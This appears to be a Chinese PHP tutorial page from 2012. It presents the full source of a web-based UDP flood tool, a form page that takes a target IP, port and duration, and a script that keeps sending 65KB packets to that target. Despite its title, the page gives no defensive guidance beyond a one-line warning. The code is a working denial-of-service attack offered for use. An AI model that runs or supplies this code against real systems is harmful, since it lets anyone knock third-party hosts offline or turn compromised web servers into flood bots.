php DOS攻击实现代码(附如何防范)

 更新时间:2012年05月29日 19:43:37   作者:  
小段php代码实现DOS攻击,有时候通过这段代码不需要获取服务器权限也可以作为攻击的肉鸡了,所以大家一定要注意网站安全
index.php
复制代码 代码如下:

<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>PHP DoS, Coded by EXE</title>
</head>
<!-- PHP DOS, coded by EXE -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- PHP DOS, coded by EXE -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font>&nbsp;(Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
&nbsp;&nbsp;&nbsp;&nbsp;Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
&nbsp;&nbsp;&nbsp;&nbsp;Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" Start the Attack---> ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>

function.php
复制代码 代码如下:

<?php
//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//=================================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

相关文章

  • 基于php实现七牛抓取远程图片

    基于php实现七牛抓取远程图片

    由于公司网站之前的用户头像都是存储在自己的服务器上的,后来感觉管理不方便,新增加的用户头像都上传到了七牛,为了方便统一管理,领导说把本地服务器的头像全部迁移到了七牛
    2015-12-12
  • PHP数组内存利用率低和弱类型详细解读

    PHP数组内存利用率低和弱类型详细解读

    本篇文章主要介绍了PHP数组内存利用率低和弱类型详细解读,具有一定的参考价值,感兴趣的小伙伴们可以参考一下。
    2017-08-08
  • Laravel5.1 框架模型远层一对多关系实例分析

    Laravel5.1 框架模型远层一对多关系实例分析

    这篇文章主要介绍了Laravel5.1 框架模型远层一对多关系,结合实例形式分析了laravel5.1框架模型远层一对多关系相关原理、实现方法与操作注意事项,需要的朋友可以参考下
    2020-01-01
  • 在WordPress中使用wp-cron插件来设置定时任务

    在WordPress中使用wp-cron插件来设置定时任务

    这篇文章主要介绍了在WordPress中使用wp-cron插件来设置定时任务的方法,文中给出了几个常用的相关PHP函数和参数,需要的朋友可以参考下
    2015-12-12
  • Laravel 错误提示本地化的实现

    Laravel 错误提示本地化的实现

    今天小编就为大家分享一篇Laravel 错误提示本地化的实现,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-10-10
  • nginx简单配置多个php服务实例教程

    nginx简单配置多个php服务实例教程

    nginx安装刚安装好是不能访问php文件的,需要我们进行配置,下面这篇文章主要给大家介绍了关于nginx简单配置多个php服务的相关资料,文中通过实例代码介绍的非常详细,需要的朋友可以参考下
    2023-01-01
  • tp5.1 框架查询表达式用法详解

    tp5.1 框架查询表达式用法详解

    这篇文章主要介绍了tp5.1 框架查询表达式用法,结合实例形式详细分析了tp5.1 框架常用查询表达式功能、定义、用法及操作注意事项,需要的朋友可以参考下
    2020-05-05
  • php支付宝系列之电脑网站支付

    php支付宝系列之电脑网站支付

    这篇文章主要为大家详细介绍了php支付宝系列之电脑网站支付,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2018-05-05
  • php json转换相关知识(小结)

    php json转换相关知识(小结)

    这篇文章主要介绍了php json转换相关知识(小结),小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2018-12-12
  • laravel 解决groupBy时出现的错误 isn''t in Group By问题

    laravel 解决groupBy时出现的错误 isn''t in Group By问题

    今天小编就为大家分享一篇laravel 解决groupBy时出现的错误 isn't in Group By问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-10-10

最新评论